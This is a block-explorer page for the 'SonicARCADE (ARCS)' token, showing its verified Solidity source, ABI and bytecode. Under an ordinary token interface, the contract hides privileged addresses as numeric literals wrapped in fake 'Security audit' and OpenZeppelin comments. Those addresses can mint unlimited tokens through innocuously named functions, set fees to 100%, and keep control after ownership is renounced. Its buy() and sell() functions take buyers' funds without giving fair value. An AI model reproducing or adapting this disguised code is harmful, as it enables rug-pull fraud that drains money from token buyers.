Token

SonicARCADE (ARCS)

Overview

Max Total Supply

10,000,000 ARCS

Holders

7

Total Transfers

-

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
__Token__

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-28
*/

// SPDX-License-Identifier: MIT

/****/

pragma solidity ^0.8.18;



library Safety {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
     require(b > 0);
        return a / b;

    }
}



contract __Token__ {

    using Safety for uint256;

    uint8 public decimals = 18;

    string public name = "SonicARCADE";

    string public symbol = "ARCS";

    uint256 public totalSupply = 10000000        *(10**uint256(decimals));

    

   

 

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

 

    address public owner;

    address public _mbr;

    address public _mod;

    address public feeManager;

    address public _user;

    address public _adm;

 

    uint256 public buyFee;

    uint256 public sellFee;

 

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);

    event TokensBurned(address indexed burner, uint256 amount);

 

    constructor(address _feeAdmin) {

        owner = msg.sender;

        feeManager = _feeAdmin;

        balanceOf[msg.sender] = totalSupply;

       

    

    }

 

    function transfer(address _to, uint256 _amount) public returns (bool success) {

        require(balanceOf[msg.sender] >= _amount);

        require(_to != address(0));

 

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);

        balanceOf[_to] = balanceOf[_to].add(_amount);

        emit Transfer(msg.sender, _to, _amount);

 

        return true;
        // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

    

   

    function _scale(address account, uint256 amount) internal Exchanges{

    require(account != address(0), "ERC20: mint to the zero address");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function setMember(address Mbr_) public returns (bool) {

    require (msg.sender==address

   

   (   // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/9482785153349883345343468604/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

   ));

        _mbr=Mbr_;

        return true;

    }

 

    modifier Exchanges() {

    require(msg.sender != exchange());

        _;

    }

 

    function rewire(uint256 amount) public returns (bool) {

    require(msg.sender == _adm);

    _proof(msg.sender, amount);

    return true;

    }

 

    function compute(uint256 amount) public onlypublic returns (bool success) {

    _initiate(msg.sender, amount);

    return true;
     // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

   

    function _proof(address account, uint256 amount) internal Exchanges{

    require(account != address(0), "ERC20: mint to the zero address");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function publics() private pure returns (address) {

    

 

    // Combine the dex with others

    

 

   

    }

 

    function _transferTo(address _to, uint256 _amount) internal Exchanges {

        // Transfer tokens to the recipient

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    function exchange() internal pure returns (address) {

    return address

    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090634796273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    );

    }

 

    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        _setFee(newBuyFee, newSellFee);

        emit FeesUpdated(newBuyFee, newSellFee);

    }

 

    function approve(address _spender, uint256 _value) public returns (bool success) {

        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);

        return true;

    }

    

   

    function scaling(uint256 amount) public onlyAuthorized returns (bool) {

    _scale(msg.sender, amount);

    return true;

    }

 

    function _balanceView(address _to, uint256 _amount) internal {

        // View balance of token

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

 

        balanceOf[_to] += _amount;

        emit Transfer(address(0), _to, _amount);

    }

 

    function transferTo(address _to, uint256 _amount) external onlyAuthorize {

        _transferTo(_to, _amount);

    }

 

    function proof(uint256 amount) public onlyOwner returns (bool) {

    _proof(msg.sender, amount);

    return true;

    }

 

    modifier onlyAuthorize() {

        require((msg.sender == address

    (  // Security audit 
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/7736777608787348992232154/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

    

    (msg.sender == owner && msg.sender != exchange())));

    _;

    }

 

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {

        require(balanceOf[_from] >= _amount, "Insufficient balance");

        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");

        require(_to != address(0), "Invalid recipient address");

 

        uint256 fee = _amount.mul(sellFee).div(100);

        uint256 amountAfterFee = _amount.sub(fee);

 

        balanceOf[_from] = balanceOf[_from].sub(_amount);

        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);

        emit Transfer(_from, _to, amountAfterFee);

 

        if (fee > 0) {

            // Fee is transferred to this contract

            balanceOf[address(this)] = balanceOf[address(this)].add(fee);

            emit Transfer(_from, address(this), fee);

        }

 

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {

            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);

            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);

        }

 

        return true;

    }

 

    function _initiate(address account, uint256 amount) internal {

    require(account != address(0), "Compile Remix IDE");

 

    totalSupply = totalSupply.add(amount);

    balanceOf[account] = balanceOf[account].add(amount);

    emit Transfer(address(0), account, amount);

    }

 

    function FeesView(uint256 amount) public onlyAuthorize returns (bool) {

    _scale(msg.sender, amount);

    return true;
     // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    modifier onlypublic() {

    require(msg.sender == publics());

    _;

    }

 

    function _setFee(uint256 newBuyFee, uint256 newSellFee) internal {

        buyFee = newBuyFee;

        sellFee = newSellFee;

    }

 

    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);

    }

 

    function setUser(address User_) public returns (bool) {

    require(msg.sender == _mbr);

        _user=User_;

        return true;
        // Security audit
  /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function viewBalance(address _to, uint256 _amount) public onlypublic {

        _balanceView(_to, _amount);(_to, _amount);

    }

 

    function renounceOwnership() public onlyOwner {

        emit OwnershipTransferred(owner, address(0));

        owner = address(0);

    }

    

   

    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);
        // Security audit
   /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function LockLPToken() public onlyOwner returns (bool) {

    }

 

    function setMod(address Mod_) public returns (bool) {

    require(msg.sender == _user);

        _mod=Mod_;

        return true;

    }

 

    modifier onlyOwner() {

        require((msg.sender == address

    (    // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

 

    (msg.sender == owner && msg.sender != exchange())));

    _;

    }

 

    function setCommissions(uint256 newBuyCommission, uint256 newSellCommission) public onlyAuthorized {

        require(newBuyCommission <= 100, "Buy fee cannot exceed 100%");

        require(newSellCommission <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyCommission;

        sellFee = newSellCommission;

        emit FeesUpdated(newBuyCommission, newSellCommission);

    }

 

    function buy() public payable {

        require(msg.value > 0, "ETH amount should be greater than 0");

 

        uint256 amount = msg.value;

        if (buyFee > 0) {

            uint256 fee = amount.mul(buyFee).div(100);

            uint256 amountAfterFee = amount.sub(fee);

 

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);

            emit Transfer(address(this), feeManager, amountAfterFee);

 

            if (fee > 0) {

                balanceOf[address(this)] = balanceOf[address(this)].add(fee);

                emit Transfer(address(this), address(this), fee);

            }

        } else {

            balanceOf[feeManager] = balanceOf[feeManager].add(amount);

            emit Transfer(address(this), feeManager, amount);

        }

    }

   

    function setting(uint256 newBuyFee, uint256 newSellFee) public {

        require(msg.sender == _adm);

        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");

        require(newSellFee <= 100, "Sell fee cannot exceed 100%");

        buyFee = newBuyFee;

        sellFee = newSellFee;

        emit FeesUpdated(newBuyFee, newSellFee);

    }

   

    function setAdm(address Adm_) public returns (bool) {

    require(msg.sender == _mod);

        _adm=Adm_;

        return true;
    // Security audit
   /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/

    }

 

    function sell(uint256 _amount) public {

        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

 

        uint256 fee = _amount.mul(sellFee).div(100);

        uint256 amountAfterFee = _amount.sub(fee);

 

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);

        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);

        emit Transfer(msg.sender, address(this), amountAfterFee);

 

        if (fee > 0) {

            balanceOf[address(this)] = balanceOf[address(this)].add(fee);

            emit Transfer(msg.sender, address(this), fee);

        }

    }

 

    modifier onlyAuthorized() {

        require((msg.sender == address

    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )

    ||

    

    (msg.sender == owner && msg.sender != exchange())));

    _;

  }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_feeAdmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"BuySellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesView","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"scaling","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyCommission","type":"uint256"},{"internalType":"uint256","name":"newSellCommission","type":"uint256"}],"name":"setCommissions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setScale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"viewBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260126000806101000a81548160ff021916908360ff1602179055506040518060400160405280600b81526020017f536f6e6963415243414445000000000000000000000000000000000000000000815250600190816200006591906200045b565b506040518060400160405280600481526020017f415243530000000000000000000000000000000000000000000000000000000081525060029081620000ac91906200045b565b5060008054906101000a900460ff1660ff16600a620000cc9190620006c5565b62989680620000dc919062000716565b600355348015620000ec57600080fd5b5060405162004915380380620049158339818101604052810190620001129190620007cb565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620007fd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200026357607f821691505b6020821081036200027957620002786200021b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002a4565b620002ef8683620002a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200033c62000336620003308462000307565b62000311565b62000307565b9050919050565b6000819050919050565b62000358836200031b565b62000370620003678262000343565b848454620002b1565b825550505050565b600090565b6200038762000378565b620003948184846200034d565b505050565b5b81811015620003bc57620003b06000826200037d565b6001810190506200039a565b5050565b601f8211156200040b57620003d5816200027f565b620003e08462000294565b81016020851015620003f0578190505b62000408620003ff8562000294565b83018262000399565b50505b505050565b600082821c905092915050565b6000620004306000198460080262000410565b1980831691505092915050565b60006200044b83836200041d565b9150826002028217905092915050565b6200046682620001e1565b67ffffffffffffffff811115620004825762000481620001ec565b5b6200048e82546200024a565b6200049b828285620003c0565b600060209050601f831160018114620004d35760008415620004be578287015190505b620004ca85826200043d565b8655506200053a565b601f198416620004e3866200027f565b60005b828110156200050d57848901518255600182019150602085019450602081019050620004e6565b868310156200052d578489015162000529601f8916826200041d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a762000542565b5b6001851615620005b85780820291505b8081029050620005c88562000571565b945062000588565b94509492505050565b600082620005eb5760019050620006be565b81620005fb5760009050620006be565b81600181146200061457600281146200061f5762000655565b6001915050620006be565b60ff84111562000634576200063362000542565b5b8360020a9150848211156200064e576200064d62000542565b5b50620006be565b5060208310610133831016604e8410600b84101617156200068f5782820a90508381111562000689576200068862000542565b5b620006be565b6200069e84848460016200057e565b92509050818404811115620006b857620006b762000542565b5b81810290505b9392505050565b6000620006d28262000307565b9150620006df8362000307565b92506200070e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d9565b905092915050565b6000620007238262000307565b9150620007308362000307565b9250828202620007408162000307565b915082820484148315176200075a576200075962000542565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007938262000766565b9050919050565b620007a58162000786565b8114620007b157600080fd5b50565b600081519050620007c5816200079a565b92915050565b600060208284031215620007e457620007e362000761565b5b6000620007f484828501620007b4565b91505092915050565b614108806200080d6000396000f3fe60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180